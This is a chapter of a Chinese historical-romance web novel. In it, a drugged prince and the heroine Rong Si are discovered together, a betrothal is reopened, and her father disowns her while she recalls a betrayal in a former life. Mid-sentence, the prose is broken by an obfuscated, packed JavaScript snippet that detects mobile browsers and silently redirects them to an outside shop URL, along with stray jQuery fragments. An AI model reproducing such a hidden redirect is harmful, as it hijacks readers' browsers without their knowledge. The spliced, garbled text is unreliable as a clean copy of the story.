“你可有怨?”
怀中人艰难喘息着,一个字也吐不出,唯双手攀上他胸前衣襟,狠狠攥在掌中不肯放手。
温热的血浸满了他的臂弯,眼前箭羽随着她的颤抖一同晃着。
那是他亲手射出去的箭。
闻言,那喘息愈发的急切,美眸猩红一片,死死盯着他,指尖划在他的胸口,执拗又不甘地写了一个字:
卫。
这是他许下的诺言。
“丞相卫盛,通敌叛国,滔天罪孽罄竹难书,处以极刑!”
她松了衣襟,那双眼眸阖上了。
再也没有睁开过。
.
“砰——”
沉重的雕花楠木门轰然倒地。
两人踹门入室,正是方才的无眠与风行,看见满地狼藉,皆是呼吸一滞,急急奔向书房里间。
“殿下!属下护驾来迟,罪该万——”
入目却没有令人触目惊心的打斗痕迹,无眠心急如焚,刚一进里屋便被什么东西狠狠一绊,险些摔倒在地。
垂眸一瞧,竟是一只……鞋?
那鞋头饰有月白云纹,刺绣精美,显然是女子的云头履。
无眠如遭雷劈,他僵着脖颈缓缓抬头,果然在前面不远处,瞧见了一只黑靴,乌皮翻领,云纹压银线。
里间屏风上,歪歪斜斜搭着一条腰封。
似乎地上还掉了件什么衣裳。
“风行,风行!回来!”
无眠脸色一红,眼疾手快地上前去拽风行,可后者充耳不闻,握着手中佩剑就往里冲。
“你这傻大个,别往前走了!快走!”他压低声音,咬牙切齿道。
拦腰抱住也不管用,风行这家伙又高又壮,直拖着他往前走,拽得他腰间伤处疼得不行,愣是不停。
见劝不住还要被拉下水,无眠一个转身,扭头一瘸一拐地出去了。
疾步绕过屏风,风行一愣。
只见三千青丝从榻上垂落,一女子依偎在他主子的怀中,遮住了脸瞧不见是谁,妃色罗裙半褪,只露出半边香肩,肤如凝脂,引人遐想。
裴清衍那一袭天青织金缎与那女子的妃色罗裙缠在一起,一明一暗,一沉一浮,直叫人面上羞红。
风行不记得自己是怎么逃出里间的了,从耳朵尖红到了脖颈。
无眠看他这模样一点不意外,抛给他一个“朽木不可雕也”的眼神,便靠在墙上一边守着书房,一边揉着自己酸痛的双臂。
“……怎、怎么办?”
身边人闻言伸出一根指头,探头指了指自己,“你问我?”
“从前,从没有过这样的事情,殿下好洁,定是不会……这般的。”风行眉头紧锁,他低着头,连脖颈间的刀痕也忘了处理,只一个劲儿在书房门口来回踱步,眼见得发愁。
他们破门而入这么大的声响都没能惊醒榻上两人,定是有人给两人下了脏药。
可榻上那女子衣衫不整,他们也不好贸然上前。
眼下还在人多眼杂的镇国公府,总不能一直拖下去,这可如何是好?
他一筹莫展,身侧的人却忽然拿胳膊肘顶他一下,无眠抱着剑冲着长廊尽头一扬下巴,忽然说道:“无岐这个月怕是能多领赏钱了啊,真是便宜他了。”
风行不解,皱眉道:“这与无岐有何干系?”
“正是因为没干系,才说便宜他了,”无眠冲他摇了摇头,讳莫如深,“傻大个,咱们雍王府要添王妃了。”
风行扭头,终于看清了长廊中走来的人——
镇国公府当家主母,秦氏。
.
裴清衍被唤醒时,屏风外的两人早已数不清叫了多少声“殿下”。
听见屏风后似有动静,无眠猛地将刚刚灌完的茶壶搁在一旁,连忙抹了把嘴,拉着风行径直跪地请罪。
榻上男人眼神晦涩,瞧着怀中人,久久无言。
方才,他又做了那个奇怪的梦。
梦中她也是像眼下这般蜷在他怀中,只是……梦中的她,凄怆又决然,浑身血污。
而眼下,她沉沉睡着,安然无恙,眉心几不可查的抚平了几分。
记忆停在自己将容姒放在榻上,从这之后,便再也没了半分思绪。
“请罪?何罪之有?”他慢条斯理地穿衣起身,视线扫过屏风后的两人。
两人争先恐后的将午后昭宁郡主遇刺一事和盘托出,回想当时,他俩正一左一右架着年济苍回屋,后院忽然传来叫喊声。
一听“有刺客”,想到裴清衍也在后院,便想也不想冲回去了。
有胆子混进镇国公府的刺客本就罕见,竟还是个身量不高的女子,两人一见这所谓刺客,便先在心中轻敌了五分。
却不想这小女子招数奇快,身形矫捷似风,一招一式尽是一击毙命的狠招。
府上侍卫皆无人能敌,他们两人联手,那小女子也不占下风,周旋良久,一路追出镇国公府,最后竟让人跑了!
两人还都挂了彩,虽不是什么重伤,可这传出去实在不光彩。
“这小丫头好一出声东击西!小小年纪便如此奸诈,定是穷凶极恶之人,殿下放心,属下一定将人捉拿归案。”
无眠愤愤不平道,话锋一转又耷拉了脸,“殿下,镇国公府当家主母来了,现下仍在在门外候着,恐是……有些棘手啊。”
裴清衍面色不变,缓步踱回床侧,忽然问道:“可还有其他人知晓?”
两人摇头,如实回禀。
秦氏找来后,立马借着方才昭宁郡主遇刺一事将这后院封了,宾客齐聚前庭,寿筵已毕,众人陆续离去。
沉吟片刻,裴清衍立在塌前出神。
裴清衍无法解释这种光怪陆离的奇梦,他也并不在意,直到,今日荷花湖畔,容姒那张脸撞入他的眸中。
风起云动,惊起一汪春水。
看着榻上女子平稳的呼吸与那莹白香肩,他上前两步,漫不经心地拉起锦被,将人整个罩住了。
“晚上邀贺辞宴兄妹府中一聚,至于眼下……”
裴清衍直起身,走出屏风,“叫秦氏去请老国公,就说,婚约一事——”
他又顿了顿,眸中似有若无含了几分笑意。
“婚约一事,我们重谈。”
.
“轰隆”一声,漆黑天幕滚落一道雷鸣,雨声紧跟其后。
狂风骤起,将祠堂南窗猛地吹开,冷风倏然灌满整间屋子,两排烛焰齐齐弯腰,焰心挣了几挣,终是灭了。
手边刚被抄录好的《女戒》乘风而起,“哗哗”两声顿时满屋翻飞。
祖宗牌位上的金漆骤然黯淡无光,整个祠堂彻底融入墨色。
跪于祠堂的女子却连笔都未停。
伸手不见五指的夜雨,她握着笔,皓腕轻移,仍在写着什么。
“都瞧不见了,你怎么还在写?”
忽然,祖宗牌位的方向传出一道声音,极轻极冷,却还带着点稚嫩。
容姒转了转有些发麻的手腕,缓缓说道:“《女戒》早已熟记于心,便是瞧不见也能写出来的。”
“我不信,你说谎。”
极轻的脚步声融在风雨中朝她靠近着,容姒笔尖一停,忽然抬头问道:“今日为何刺杀昭宁郡主?”
那脚步声一顿,旋即消失了。
容姒心尖一沉,旋即感受到了落在自己身上的那道视线,她抬眸转头看向身后。
屋门“吱呀”一声,雨丝顺着狂风斜斜飘进,将散落在门边的几张《女戒》尽数染开,墨迹晕成一团。
一双靴子踏过那洇湿的草纸,负手而立,停在了她面前。
手中油灯忽明忽灭,将他凝重的脸色衬得尤为阴沉,两人的眉眼并不怎么相似,倒是那通身清冷的书卷气如出一辙,一站一跪,无声对峙。
“父亲。”
终是容姒先低了头,轻声唤道。
面前的人冷哼一声,扬了扬下巴,“宫里来过人了,圣上赐婚,你的好
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200734|197174||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
事将近,我可担不起你这一声父亲,雍王妃。”
本以为她至少会说些什么,可容百川等了半晌,也不见她回话。
那柔弱的身姿如松挺直,分明跪着,却不显半分狼狈。
祠堂内无声无息,一时逼仄沉闷,唯有屋外狂风肆虐,雨点拍在门窗,喧嚣不止,惹人生烦。
“啪”的一声,手中笔猛地被踢飞出去!
落在石砖上发出几声脆响,又接连滚了好几番才缓缓停下。
容百川收了脚,狠狠一甩袖,厉声道:“说话!勾引裴清衍前怎么没见你如此安生!如今倒是默不作声了,做这幅假模假样给谁看?我堂堂礼部尚书,怎会有你这样恬不知耻的逆子!”
“轰隆——”
一声雷鸣劈开天幕,天地骤明,容百川狰狞的脸色照入眼底,那眸里满是藏不住的厌恶恼怒。
容姒一滞,竟透过他的眼神看到了往昔。
前世。
太平宴上,一舞毕,卫盛起身进言,要将她献给北狄。
对于夫君的背叛,她又惊又怒,可思及下落不明的幼女,她颤抖着压住了浑身的惧,缓缓抬头看向皇帝。
十二岁的皇帝不动声色地避开了她的眼神,看向了太后。
那一刻,她知晓再也无人能救她。
出嫁从夫,夫要她死,她不甘心啊!幼女带血的小银镯又浮现眼前,她的汀汀才四岁,下落不明已整整五日。
那是她九死一生才生下的孩子,是她的命!
三日前,一封染血的信带着这只小银镯摆在了桌上。
要她太平宴上献舞。
她照做了。
卫盛的说辞缜密又滴水不漏,显然是早有准备,只等她献舞,他便顺水推舟,既全了皇帝想谈和的意愿,又能留下“为国献妻”的大义英名。
还有什么想不明白的呢?
好一出大义灭亲,汀汀是他的亲生女儿,他竟狠心至此!
清泪蓄在眼中,她不敢哭。
怕殿前失仪,更怕叫北狄看出异样,倘若和亲不成,大祁国破家亡,她的汀汀也会同万千百姓一同葬身故国,她不能哭,更不能怯。
容姒不怕死。
她深知覆巢无完卵,百姓之苦她真真切切看在眼中,只恨自己一介妇人,既不能上朝参政,也无法用病弱之身拿起剑刃。
若能用她一人之躯,换大祁百姓安然,她死而无憾。
唯放心不下的,只有她的汀汀。
可一个能用亲生骨肉做棋子的畜生,若她走了,卫盛又怎会善待汀汀?
谁能救救汀汀。
谁能?
她猛然回神,压下眸中泪,悄然抬眸看向宴席间的父亲。
母亲早逝,年家又为国捐躯,只剩妇孺。她举目无亲,只剩一向不喜她的父亲,近乎哀求的眼神投向他。
可那人端坐席间,面如寒霜,看向她的眸中只有一贯的疏离厌恶,甚至夹杂着一丝令他蒙羞的恼意,活像在看什么臭鱼烂虾,过街老鼠。
连错愕与惊诧都没有,对于今日太平宴上这出变故,似乎早就知情。
容百川瞪她一眼,错开了眼,目不斜视,再也不看她。
那个眼神,容姒一生难忘。
就如同现下。
可这次,她的心不痛了。
黑夜掩下她眸中讽意,容姒无声冷笑,袖中指尖掐入掌心,她仰着头直视那人,一字一句。
“若无他事,父亲请回。您既不信女儿,往后也无须再开尊口……”
她一顿,终是喉中一哽。
“你!无可救药!你这是要活活气死我!”容百川听到这话怒不可遏,鼻中冷冷一哼,他抬起油灯大步离去。
祠堂木门重重摔上,颤颤巍巍哀鸣了半晌才停了声响。
阴湿寒冷的祠堂内只剩那句——
“既然你目无尊长,冥顽不灵,我容百川便没有你这个女儿,自今日起,你不再是容家女!生不入祠,死不归茔!”